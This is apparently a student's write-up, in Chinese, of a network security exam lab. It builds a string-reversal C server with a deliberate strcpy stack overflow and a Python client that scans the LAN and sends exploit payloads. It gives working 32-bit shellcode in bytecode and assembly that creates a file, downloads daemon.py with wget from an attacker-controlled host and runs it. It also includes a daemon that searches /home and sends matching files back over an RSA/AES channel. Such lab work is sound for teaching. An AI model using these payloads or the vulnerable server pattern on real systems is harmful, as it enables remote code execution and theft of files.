网络安全综合实验设计

Network_Security final exam

总体设计

任务一:做一个服务端程序,其功能是:收到客户端请求之后,将请求中的字符串前后翻转,然后返回给客户端。(30 分)

任务二:基于上述服务程序,在保持基本功能的前提下,设计一个缓冲区溢出漏洞。并编写恶意客户端程序,扫描局域网内的所有机器,找到有该漏洞的服务端机器,在服务端机器上创建一个 txt 的文件,文件名是你的姓名.txt,文件内容是你的学号。(40 分)

任务三:利用上述漏洞,把一个自己设计的程序 daemon 送上服务端机器并运行,这个 daemon能够搜索服务器上的所有 txt 文件,并找出文件名中含有你的姓名的文件,并利用网络传送给客户端机器(传出的方法不限,例如:email,在线 socket 连接等)。(20 分)

任务四:在上述任务的基础上,设计一种密钥管理机制和传输加密方案,模拟将传输内容加密(包含文件名和文件内容)发送给客户端机器。用 wireshark 等工具抓取传输内容,证明未加密与加密的区别,并分析你所设计的密钥管理机制和传输加密方案的安全性。(10 分)

  • 对于任务一的字符串前后翻转服务端程序,我使用c语言编写,编写简单的sokcet通信服务,缓冲区溢出漏洞在其业务函数中使用了strcpy()导致栈溢出的问题。
  • 对于任务二的恶意客户端程序,我采用python编写,其功能有
    • 扫描遍历局域网中的ip地址,通过socket尝试连接端口,找出有运行服务端程序的机器
    • 与任务一的字符串前后翻转服务端程序交互,发出字符串,然后收到翻转后的字符串并打印
    • exploit的功能,发送针对漏洞的payload(包含三种shellcode)
  • 对于任务三中的程序 daemon,我使用python编写,能够搜索服务器上的任意指定文件(可以指定为我们的文件名中含有你的姓名的文件),并利用网络传送给客户端。
  • 对于任务四中的密钥管理机制和传输加密方案
    • 首先daemon.py作为服务器(受害方)被shellcode启动
    • 客户端(攻击方),启动client.py通过socket连接上该服务器,创建非对称加密RSA密钥,发送公钥和公钥Sha256摘要给服务器
    • 服务器(受害方)接收到RSA的公钥和公钥摘要之后,对公钥进行摘要判断,公钥是否被改动。如没有,就产生用于 AES 对称加密的密钥,将其用RSA公钥加密后,将其密文和密文摘要发给客户端(攻击方)
    • 客户端(攻击方)同上用对 AES密钥进行摘要,判断是否被改动。如没有,双方便可以用 AES密钥进行通信的加密了。
  • 用 wireshark 等工具抓取传输内容,证明未加密与加密的区别
    • 如果传输文件内容未加密,则wireshark 抓取到socket发送的包,可以直接在data部分看到传输的内容
    • 如果传输文件内容未加密,则抓取到的包,data部分是密文,无法被破译。
  • 包含了三种shellcode——创建学号.txt、下载 daemon程序、运行daemon程序
    • 创建学号.txt,汇编使用了linux的系统调用(32位下实验:调用号5打开文件、调用号6关闭文件)
    • 下载 daemon程序,汇编使用了/usr/bin/wget程序来下载daemon(从攻击方开启的apache服务器中下载)
    • 运行daemon程序,汇编通过/usr/bin/python daemon.py来运行

总结

  • 这次的期末考试,看似内容很短,其实囊括了很多内容,很多功能要实现。对linux系统的一些操作、socket的通信、栈溢出漏洞的设计与调试、扫描ip端口、linux的文件搜索、密钥管理方案的设计、抓包的分析以及shellcode的编写,多多少少都学习到了一些,掌握了一些。

  • 暴露了我一些致命的问题,对linux操作系统的不熟悉、对c、c++的陌生、很多概念只是口头上说着好,实际代码能力却不足,还希望能够进步。

  • 觉得最大的收获估计是对linux系统的一些操作以及shellcode的编写吧,对shellcode不再是纸上谈兵。虽然shellcode可以用工具生成,但自己编写shellcode使我对其不再云里雾里,成就感很足。勾起了我安全方向的兴趣,不知道以后有没有缘分搞安全了。

  • 查阅了很多资料,这次考试基本上是对这门课所学的、所实验的东西进行了一个汇总。这一学期也不容易,因为学的东西多呀,所以实验和大作业都很多。虽然花了很多时间,但还是很有收获的。

  • 本次写shellcode遇到了一些困难,列举如下:

    • 不清楚如何对不够4字节整数的字符串进行控制避免00字节——
      • 可以通过call
      • 也可以通过linux中:/<=>/////x<=>./////x等来实现4字节整数
    • 编译的位数问题,由于32位和64位的系统调用有所不同,如果想用32位的系统调用号,就要
      • nasm -felf32 wget.nasm -o wget.o
        ld -m elf_i386 wget.o -o wget
    • 对寄存器进行操作时出现操作数和寄存器的大小不一,出现00字节
      • 解决方法:eax 32bit ax 16bit ah al 8bit

任务一 字符串前后翻转服务端程序

任务一:做一个服务端程序,其功能是:收到客户端请求之后,将请求中的字符串前后翻转,然后返回给客户端。(30 分)

由于栈溢出的漏洞已经调过很多种类了:字符串复制栈溢出、整数栈溢出、格式化字符串栈溢出、堆溢出等等

而这次的实验,我觉得重点不在于漏洞的复杂性,所以索性编写了strcpy()函数栈溢出漏洞。

string前后翻转服务端程序,我使用c语言编写简单的sokcet服务,将客户端发来的字符串翻转之后回送。

1.1 漏洞原理

缓冲区溢出漏洞在于处理字符串时main()->reverse()->foo()->strcpy()中,由于strcpy()在复制字符串时并未检查字符串的长度,使输入内容可以超过bufferA的空间,从而实现栈溢出,覆盖返回地址,跳到我们填入的shellcode。

1
2
3
4
5
//漏洞部分
void foo(char* str){
char bufferA[100];
strcpy(bufferA,str);//<-----------漏洞所在
}

为了实现攻击,我们构造输入str,使其超出bufferA的部分恰好覆盖ebp的值和foo函数的栈返回ret,使该ret内容指向我们的shellcode,然后在foo返回之后即顺势跳到我们的shellcode,劫持成功。

image-20200621221417113

如下为调试图

image-20200621221754210

从图上可以看到,ebp位于bufferA+108(我把GS关了),而bufferA只有100字节,很奇怪

回头看了之前project1栈溢出实验中6个vul中的foo函数,他们都是foo函数中创建了buffer,然后调用一个漏洞函数来执行的,大概的格式如下:

1
2
3
4
5
6
7
8
9
10
11
//5个栈溢出vul的基本格式
void foo(char *str) {
char buf[200]; //<---在foo函数中只创建了一个局部变量,就call了下一个函数
nstrcpy(buf, sizeof buf, arg);
}

//我写的漏洞函数
void foo(char* str){
char bufferA[100];
strcpy(bufferA,str);//<-----------漏洞所在
}

可以看到:在foo函数中只创建了一个局部变量,就call了下一个函数

而我的函数也是这种格式,却产生了bufferA只有100字节,ebp却位于bufferA+108问题,这里表示疑惑,毕竟我所有的安全机制都关了。总而言之,不知道这8个字节意义是什么,但是却不影响我们溢出,所以暂且不管了。

(RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表)

image-20200622164819499

为了溢出,我们的shellcode可以如下拼接。

1
2
3
4
5
6
#用于拼接字符串demon,具体的拼接函数可以选择三个shellcode进行拼接
def payload_new(shellcode):
payload = shellcode + b"\x90" * (108 - len(shellcode)) #shellcode以及nop
payload = payload + b'\xcc\xde\xff\xbf\xdc\xde\xff\xbf' #109字节处开始写ebp,ret
payload = payload + b'\x00' #payload结束
return payload

下图为装载了创建文件的shellcode的payload调试成功,成功创建LinFengLv.txt

image-20200621221839431

1.2 收发数据

逆转字符串程序主要在reverse()中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define SERV_PORT 8000
//漏洞部分
void foo(char* str){
char bufferA[100];
strcpy(bufferA,str);//<-----------漏洞所在
}
//逆转字符串
void reverse(char* str){
foo(str);
//strncpy(buf,str,strlen(str));
//assert(str);
int ilen = strlen(str);
char* p = str + ilen - 1;
int itemp = 0;
while(str < p){
itemp = *p;
*p = *str;
*str = itemp;
p--;
str++;
}
}
int main(void)
{
//……
//主要的收发业务部分
while (1) {
//阻塞接收客户端数据
len = read(cfd, buf, sizeof(buf));
// 将客户端发送的数据输出到屏幕中
write(STDOUT_FILENO, buf, len);
//处理业务
reverse(buf);
//返回给客户端结果
write(cfd, buf, len);
}
//……
}

任务二、恶意客户端程序

任务二:基于上述服务程序,在保持基本功能的前提下,设计一个缓冲区溢出漏洞。并编写恶意客户端程序,扫描局域网内的所有机器,找到有该漏洞的服务端机器,在服务端机器上创建一个 txt 的文件,文件名是你的姓名.txt,文件内容是你的学号。(40 分)

2.1 扫描找到有该漏洞的服务端机器

主要是

  • 通过socket尝试连接'8.8.8.8'(任意),socket.getsockname()[0]获得本机的局域网ip
  • 通过本机ip计算出所有局域网的ip
  • 尝试socket连接局域网的ip的服务端端口(这里是8000),找出有运行服务端程序的机器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# 创建互斥锁
lock = threading.Lock()

port_list = ["8000"] #默认扫描8000
routers = [] #扫描出的ip和端口

#获得本机局域网ip
def get_host_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip

# 定义扫描函数
def search_routers():
# 获取本地ip地址
ip=get_host_ip()
# 存放线程列表池
all_threads = []
# 循环本地网卡IP列表
print(str())
for i in range(1, 256):
# 把网卡IP"."进行分割,生成每一个可用地址的列表
array = ip.split('.')
# 获取分割后的第四位数字,生成该网段所有可用IP地址
array[3] = str(i)
# 把分割后的每一可用地址列表,用"."连接起来,生成新的ip
new_ip = '.'.join(array)
#print(new_ip)
# 遍历需要扫描的端口号列表
for port in port_list:
dst_port = int(port)
# 循环创建线程去链接该地址
t = threading.Thread(target=check_ip, args=(new_ip, dst_port))
t.start()
# 把新建的线程放到线程池
all_threads.append(t)
# 循环阻塞主线程,等待每一字子线程执行完,程序再退出
for t in all_threads:
t.join()
print(routers)

# 创建socket访问IP函数
def check_ip(new_ip, port):
# 创建TCP套接字,链接新的ip列表
scan_link = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置链接超时时间
scan_link.settimeout(2)
# 链接地址(通过指定我们 构造的主机地址,和扫描指定端口)
result = scan_link.connect_ex((new_ip, port))
scan_link.close()
# 判断链接结果
if result == 0:
# 加锁
lock.acquire()
print(new_ip, '\t\t端口号%s开放' % port)
routers.append((new_ip, port))
# 释放锁
lock.release()
# 启动程序入口
if __name__ == '__main__':
启动扫描程序
ports=input("输入想要扫描的端口")
port_list = port_list.append(ports.split(' '))
print(port_list)
search_routers()

2.2 正常通信——字符串前后翻转

与任务一的字符串前后翻转服务端程序交互,发出字符串,然后收到翻转后的字符串并打印

1
2
3
4
5
6
7
8
9
while (1): 
input_data = input("send:") #输入要发送的字符串
if input_data=="quit": #quit退出socket连接
input_data = b"\x90" * (120)
clientsocket.send(input_data) # 使服务器异常退出停止socket,可用于中止服务器
break
clientsocket.send(input_data.encode("utf-8"))# 这里要发字节流
data = clientsocket.recv(1024) #收到的翻转字符串
print("recv:", data)

2.3 exploit功能

发送针对漏洞的payload(包含shellcode)

shellcode的字节代码已经在全局变量写了,程序通过对我们输入的判断(1234等)来判断我们要用哪种模式。

工作模式有【1】创建txt文件 【2】发送daemon程序 【3】执行daemon文件 【其他】正常沟通(输入quit退出),其中1~3是exploit攻击,其他的则是正常通信。

image-20200621223352350

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#通信主体函数
def tans(clientsocket):
print("connect success")
print("attack_mode:【1】创建txt文件 【2】发送daemon程序 【3】执行daemon文件 【其他】正常沟通(输入quit退出))")
attack_mode = input("请输入attack_mode:")
if attack_mode == "1": # 【1】创建txt文件
print("创建txt文件shellcode发送")
#拼接shellcode
clientsocket.send(payload_new("1")) # 这里要发字节流
print("创建txt文件shellcode发送结束")
elif attack_mode == "2": # 【2】发送daemon程序
print("发送daemon程序shellcode发送")
payload_new(shellcode_daemon) #拼接shellcode
clientsocket.send(payload_new("2")) # 这里要发字节流
data = clientsocket.recv(1024)
print("发送daemon程序shellcode发送结束")
elif attack_mode == "3": # 【3】执行daemon文件
print("执行daemon文件shellcode发送")
payload_new(shellcode_execdaemon) #拼接shellcode
clientsocket.send(payload_new("3")) # 这里要发字节流
print("执行daemon文件shellcode发送结束")
else: # 【其他】正常沟通
while (1):
input_data = input("send:")
if input_data=="quit":
input_data = b"\x90" * (120)
clientsocket.send(input_data) # 使服务器异常退出停止socket,可用于中止服务器
break
clientsocket.send(input_data.encode("utf-8")) # 这里要发字节流形式
data = clientsocket.recv(1024)
print("recv:", data)
#用于拼接字符串
def payload_new(shellcode_mode):
if shellcode_mode=="2":
payload = shellcode_daemon + b"\x90" * (108 - len(shellcode_daemon))
elif shellcode_mode=="3":
payload = shellcode_execdaemon + b"\x90" * (108 - len(shellcode_execdaemon))
print(3)
else:
payload = shellcode_createtxt + b"\x90" * (108 - len(shellcode_createtxt))
payload = payload + b'\xcc\xde\xff\xbf\xdc\xde\xff\xbf'
payload = payload + b'\x00'
print("拼接payload成功")
return payload

任务三、daemon程序

任务三:利用上述漏洞,把一个自己设计的程序 daemon 送上服务端机器并运行,这个 daemon能够搜索服务器上的所有 txt 文件,并找出文件名中含有你的姓名的文件,并利用网络传送给客户端机器(传出的方法不限,例如:email,在线 socket 连接等)。(20 分)

程序 daemon,我使用python编写,能够搜索服务器上的任意指定文件(可以指定为我们的文件名中含有你的姓名的文件),并利用网络传送给客户端。

3.1 搜索服务器上的任意指定文件

如下代码所示,其可以在指定的目录下,搜索我们指定文件名的文件,并且将其路径保存在routes中。

主要是使用了pythond的os库

1
2
3
4
5
6
7
8
9
10
11
12
routes=[] #路径数组
#搜索文件
def search(curpath, s):
L = os.listdir(curpath) #列出当前目录下所有文件
for subpath in L: #遍历当前目录所有文件
if os.path.isdir(os.path.join(curpath, subpath)): #若文件仍为目录,递归查找子目录
newpath = os.path.join(curpath, subpath)
search(newpath, s)
elif os.path.isfile(os.path.join(curpath, subpath)): #若为文件,判断是否包含搜索字串
if s in subpath:
routes.append(os.path.join(curpath, subpath))
search(os.path.abspath('/home'), recvData["file_name"])

3.2 利用网络传送指定文件给客户端

如下代码所示,

1
2
3
4
5
6
7
8
9
10
#根据恶意客户端的要求,做出应答(如搜索发送文件)
def get_reply(recvData):
recvData=json.loads(recvData) #将恶意客户端发送来的数据json格式化
if recvData["Method"]=="get_file": #如果是方式Method是get_file,就要搜索发送文件
print(recvData["file_name"])
search(os.path.abspath('/home'), recvData["file_name"]) #搜索指定的文件
print(routes) #打印找到的路径
return "{\"content\":\""+open(routes[0]).read().replace('\n', '').replace('\r', '')+"\"}" #返回指定的文件名和内容
else: #不是get_file,则发hello
return "{\"content\":\"hello\"}"

任务四、密钥管理机制和传输加密方案

任务四:在上述任务的基础上,设计一种密钥管理机制和传输加密方案,模拟将传输内容加密(包含文件名和文件内容)发送给客户端机器。用 wireshark 等工具抓取传输内容,证明未加密与加密的区别,并分析你所设计的密钥管理机制和传输加密方案的安全性。(10 分)

4.1 密钥管理机制和传输加密方案

客户端发送非对称加密RSA公钥给服务端,服务端创建对称加密AES密钥发送给客户端,之后两方通过AES进行通信

  • 首先daemon.py作为服务器(受害方)被shellcode启动

  • 客户端(攻击方),启动client.py通过socket连接上该服务器,创建非对称加密RSA密钥,发送公钥和公钥Sha256摘要给服务器

  • 服务器(受害方)接收到RSA的公钥和公钥摘要之后,对公钥进行摘要判断,公钥是否被改动。如没有,就产生用于 AES 对称加密的密钥,将其用RSA公钥加密后,将其密文和密文摘要发给客户端(攻击方)

  • 客户端(攻击方)同上用对 AES密钥进行摘要,判断是否被改动。如没有,双方便可以用 AES密钥进行通信的加密了。

客户端(攻击方)代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   # ===========向服务端(daemon)发RSA的公钥及其SHA256摘要=================
# 向服务端传递公钥,和该公钥字符串化后的sha256值
# 发送的sha256用于校验公钥是否正确
print("正在向服务器传送 RSA 公钥")
sendKey = pickle.dumps(self.publicKey)
sendKeySha256 = hashlib.sha256(sendKey).hexdigest()
clientSocket.send(pickle.dumps((sendKey, sendKeySha256)))
# ===========接受服务端传递的AES对称密钥,并验证是否被改动,解密==============
# 接受服务端传递的密钥并进行解密
symKey, symKeySha256 = pickle.loads(clientSocket.recv(1024))
if hashlib.sha256(symKey).hexdigest() != symKeySha256:
raise AuthenticationError("AES密钥被篡改!")
else:
self.symKey = pickle.loads(rsa.decrypt(symKey, self.privateKey))
print("AES密钥交换完成")
# 从AES的密钥初始化加密对象
AES = Fernet(self.symKey)
# =====================AES密钥接收成功,下面是业务代码================

服务端(daemon)代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def link_one_client(self):
clientSocket, addr = self.serverSocket.accept() # 获取客户端对象和客户端地址
print("和客户端建立连接\n目标主机地址为:{0}".format(addr))# 打印

# ===========接收客户端发来的RSA公钥,并验证是否被改动=================
# 接受客户端传递的公钥,哈希函数检验公钥的正确性,运用pickle进行反序列化
publicKeyPK, pubKeySha256 = pickle.loads(clientSocket.recv(1024))
if hashlib.sha256(publicKeyPK).hexdigest() != pubKeySha256:
raise AuthenticationError("公钥被篡改!")
else:
publicKey = pickle.loads(publicKeyPK)
print("已接受公钥")

# ===========下面是用RSA公钥加密AES对称密钥,发送密文及其SHA256摘要的过程=======
# 产生用于 AES 对称加密的密钥
sym_key = Fernet.generate_key()
# 用pickle进行序列化用来进行网络传输
# 对密钥进行hash保证其准确性
en_sym_key = rsa.encrypt(pickle.dumps(sym_key), publicKey)
en_sym_key_sha256 = hashlib.sha256(en_sym_key).hexdigest()
print("正在加密传送AES对称密钥") #发送AES密钥以及AES密钥的摘要
clientSocket.send(pickle.dumps((en_sym_key,en_sym_key_sha256)))

# =====================AES密钥发送成功,下面是业务代码================
print("密钥交换结束")
# 从AES的密钥初始化加密对象
AES = Fernet(sym_key)
# 下面使用AES对称密钥进行加密对话的过程
while True:
time.sleep(0.3)
recvData = clientSocket.recv(1024) # 接收到的消息

# ============接收解密=================
recvData = AES.decrypt(recvData).decode() #接收解密
# ================不解密=================
#recvData = recvData.decode()

print("接受到客户端传来的消息:{0}".format(recvData))
sendData = get_reply(recvData)#调用回复函数来判断

# ============加密发送=================
sendData = AES.encrypt(sendData.encode())# 对消息进行加密
clientSocket.send(sendData)
# ===============不加密=================
#clientSocket.send(sendData.encode())

4.2 用 wireshark 等工具抓取传输内容,证明未加密与加密的区别

首先我们先把daemon.py和client.py的加密关掉,启动后client向daemon请求LinFengLv.txt。

可以看到如果传输文件内容未加密,则wireshark 抓取到socket发送的包,可以直接在data部分看到传输内容明文

image-20200622023021090

我们开启加密

image-20200622023250674

如下,如果传输文件内容加密,则抓取到的包,data部分是密文,无法被破译。

image-20200622023111428

4.3 分析密钥管理和传输加密方案的安全性

  • 首先daemon.py作为服务器(受害方)被shellcode启动

  • 客户端(攻击方),启动client.py通过socket连接上该服务器,创建非对称加密RSA密钥,发送公钥和公钥Sha256摘要给服务器

  • 服务器(受害方)接收到RSA的公钥和公钥摘要之后,对公钥进行摘要判断,公钥是否被改动。如没有,就产生用于 AES 对称加密的密钥,将其用RSA公钥加密后,将其密文和密文摘要发给客户端(攻击方)

  • 客户端(攻击方)同上用对 AES密钥进行摘要,判断是否被改动。如没有,双方便可以用 AES密钥进行通信的加密了。

分析:

方案:客户端创建并发送非对称加密RSA公钥给服务端,服务端创建对称加密AES密钥发送给客户端,之后两方通过AES进行通信。

  • 可以有效保障传输内容的保密性:方案采用了AES对称加密通信的内容,并且使用了非对称加密RSA来对AES密钥进行加密
  • 防止传输密钥时的中间人攻击:在传输RSA的公钥、传输AES的密钥时,同时都会发送其对应的Sha256哈希摘要,通过摘要验证的方式防止传输密钥包时的中间人改动攻击。
  • 时效性强,防止重放攻击:由于我们的daemon服务端是shellcode启动的,主要功能是为客户端(攻击方)搜索发送指定的文件(姓名.txt),所以很快就关闭了。在交换密钥完成之后,就发送文件完毕。这些操作都是在很短的时间内完成的(所以消息中没有加入时间戳),而每次daemon服务端的启动,客户端都需要与其重新创建密钥并且交换密钥,密钥的产生很随机。时效性很强,可以有效的方式重放攻击。

五、Shellcode介绍

5.1 创建 学号.txt

主要是利用了linux中的系统调用int 80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数,从 /usr/include/asm/unistd.h中可以看到。

在本shellcode中我们的操作如下

  • 首先5号调用open系统调用,创建文件LinFengLv.txt
  • 然后4号调用write系统调用,写文件内容2017301500076
1
2
3
4
5
6
7
8
9
10
11
12
;cat /usr/include/asm/unistd.h | less总共有383条
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4 <------2 写文件内容`2017301500076`
#define __NR_open 5 <------1 创建文件`LinFengLv.txt`
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11

以32位linux为例(64位下系统调用号是不同的):

打开文件的调用号为5,将5存入eax,ebx存入文件路径字符串的首地址,ecx存入打开方式,只读为“0”,写为“03101”,edx存入权限集合,现在存入“0666”就行了,反正我不懂unix的权限。打开成功后,系统会返回该文件的“文件标识符”,在eax里面。之后全程都要用这个文件标识符指代打开的那个文件。

读取文件的调用号为3,存入eax,文件标识符存入ebx,在此之前,要划一个缓存区,用来储存读取的数据,将该缓存区的首地址存入ecx,长度存入edx。读取成功后,会按照edx中的长度填充缓存区,就是edx的值是多少,就填充多少(当然,由文件的长度而定),返回已经读取的长度。

写入文件的调用号为4,存入eax,其余参数同上。返回写入的字节数或者错误代码(写入失败),存入eax。

关闭文件的调用号为6,存入eax,文件描述符存入ebx。只有这两个参数。

字节码和汇编代码如下,注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
;################字节码#############
;shellcode_createtxt=b'\x31\xc0\xb0\xa0\x29\xc4\x31\xd2\x31\xc9\x66\xba\xff\x01\x66\xb9\x41\x06\x31\xdb\x53\x68\x2e\x74\x78\x74\x68\x6e\x67\x4c\x76\x68\x69\x6e\x46\x65\x68\x2e\x2f\x2f\x4c\x89\xe3\x31\xc0\xb0\x05\xcd\x80\x31\xdb\x53\x6a\x36\x68\x30\x30\x30\x37\x68\x33\x30\x31\x35\x68\x32\x30\x31\x37\x89\xe1\x89\xc3\x31\xd2\xb2\x0d\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80'
;################字节码#############

;=======抬高栈顶指针esp避免影响代码==========
xor eax,eax;
mov al,0xA0
sub esp,eax

;=========open系统调用,创建文件==========
;linux中openfile可以用于创建文件

xor edx,edx
xor ecx,ecx
mov dx, 777q ;文件的权限集合存入edx
mov cx, 3101q ;文件的打开方式存入ecx
xor ebx,ebx
push ebx
push ".txt"
push "ngLv"
push "inFe"
push ".//L" ;文件名.//LinFengLv.txt=LinFengLv.txt
mov ebx, esp ;文件名地址存入ebx
xor eax,eax
mov al,05h ;open系统调用号
int 80h

;=======write系统调用,写文件=========

xor ebx,ebx
push ebx
push "6"
push "0007"
push "3015"
push "2017" ;文件内容2017301500076
mov ecx, esp ;文件内容地址存入ecx

mov ebx,eax ;上一个系统调用获得的文件描述符
xor edx,edx
mov dl,0dh ;edx中存入文件内容的长度

xor eax,eax
mov al,04h ;write系统调用号
int 80h

;=======close系统调用,关闭文件描述符=======(可以不要)
xor eax,eax
mov al,06h
int 80h

;=======exit系统调用退出=======(可以不要)
xor eax,eax
mov al,01h
int 80h

5.2 下载 daemon程序

主要是利用了linux中的系统调用int 80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数,从 /usr/include/asm/unistd.h中可以看到。

1
2
;cat /usr/include/asm/unistd.h | less总共有383条
#define __NR_execve 11 <---本次调用

在本shellcode中我们的操作:

调用execve系统调用来执行命令行(从攻击方开启的apache服务器中下载daemon.py):

1
/usr/bin/wget 192.168.30.131/f/daemon.py

字节码和汇编代码如下,注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
;################字节码#############
;shellcode_daemon=b'\x31\xc0\xb0\xa0\x29\xc4\x31\xc0\x50\x89\xc2\x68\x6e\x2e\x70\x79\x68\x61\x65\x6d\x6f\x68\x2f\x2f\x2f\x64\x68\x33\x31\x2f\x66\x68\x33\x30\x2e\x31\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x31\xc0\x50\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xb0\x0b\xcd\x80'
;################字节码#############


;=======抬高栈顶指针esp避免影响代码==========
xor eax,eax
mov al,0xA0
sub esp,eax

;========调用execve系统调用来执行命令行==============
;作用(下载daemon.py):/usr/bin/wget 192.168.30.131/f/daemon.py
xor eax,eax
push eax
mov edx,eax ;首先是edx为0
push "n.py"
push "aemo"
push "///d"
push "31/f"
push "30.1"
push "168."
push "192."
mov ecx,esp ;ecx为字符串192.168.30.131/f/daemon.py的地址

xor eax,eax
push eax
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx,esp ;ebx是执行程序/usr/bin/wget的地址

push edx
push ecx
push ebx
mov ecx,esp ;ecx是ebx、ecx、edx三个execve参数的地址
mov al,0bh ;eax是execve系统调用号0bh
int 0x80

5.3 运行daemon程序

主要是利用了linux中的系统调用int 80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数,从 /usr/include/asm/unistd.h中可以看到。

1
2
;cat /usr/include/asm/unistd.h | less总共有383条
#define __NR_execve 11 <---本次调用

在本shellcode中我们的操作:

调用execve系统调用来执行命令行(执行daemon.py):

1
/usr/bin/python daemon.py

字节码和汇编代码如下,注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
;################字节码#############
;shellcode_execdaemon=b'\x31\xc0\x50\x89\xc2\x68\x6e\x2e\x70\x79\x68\x61\x65\x6d\x6f\x68\x2e\x2f\x2f\x64\x89\xe1\x31\xc0\x50\x68\x74\x68\x6f\x6e\x68\x2f\x2f\x70\x79\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xb0\x0b\xcd\x80'
;################字节码#############


;=======抬高栈顶指针esp避免影响代码==========
xor eax,eax
mov al,0xA0
sub esp,eax

;========调用execve系统调用来执行命令行==============
;作用(运行daemon.py):/usr/bin/python daemon.py
xor eax,eax
push eax
mov edx,eax ;首先是edx为0
push "n.py"
push "aemo"
push ".//d"
mov ecx,esp ;ecx为字符串daemon.py的地址

xor eax,eax
push eax
push "thon"
push "//py"
push "/bin"
push "/usr"
mov ebx,esp ;ebx是执行程序/usr/bin/python的地址

push edx
push ecx
push ebx
mov ecx,esp ;ecx是ebx、ecx、edx三个execve参数的地址
mov al,0bh ;eax是execve系统调用号0bh
int 0x80

六、任务二、三总体代码

6.1 字符串翻转服务端程序 server.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>


#define SERV_PORT 8000
void foo(char* str){
char bufferA[100];
strcpy(bufferA,str); //<-----------漏洞所在
}
//逆转字符串
void reverse(char* str){
foo(str);
int ilen = strlen(str);
char* p = str + ilen - 1;
int itemp = 0;
while(str < p){
itemp = *p;
*p = *str;
*str = itemp;
p--;
str++;
}
}

int main(void)
{
int sfd, cfd;
int i, len;
struct sockaddr_in serv_addr, client_addr;
char buf[4096], client_ip[128];
socklen_t addr_len;

//AF_INET:ipv4 SOCK_STREAM:流协议 0:默认协议(tcp,udp)
sfd = socket(AF_INET, SOCK_STREAM, 0);

//绑定前先构造出服务器地址
bzero(&serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
//网络字节序
serv_addr.sin_port = htons(SERV_PORT);
//INADDR_ANY主机所有ip
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(sfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

//服务器能接收并发链接的能力
listen(sfd, 128);

printf("wait for connect ...\n");
addr_len = sizeof(client_addr);
//阻塞,等待客户端链接,成功则返回新的文件描述符,用于和客户端通信
// 参数1是sfd; 参2传出参数, 参3传入传入参数, 全部是client端的参数
cfd = accept(sfd, (struct sockaddr *)&client_addr, &addr_len);
// 打印链接的客户端地址
printf("client IP:%s\t%d\n",
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, client_ip,sizeof(client_ip)),ntohs(client_addr.sin_port));

while (1) {
//阻塞接收客户端数据
len = read(cfd, buf, sizeof(buf));
// 将客户端发送的数据输出到屏幕中
write(STDOUT_FILENO, buf, len);
reverse(buf);

//返回给客户端结果
write(cfd, buf, len);
}

close(cfd);
close(sfd);

return 0;
}

6.2 恶意客户端程序 attack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
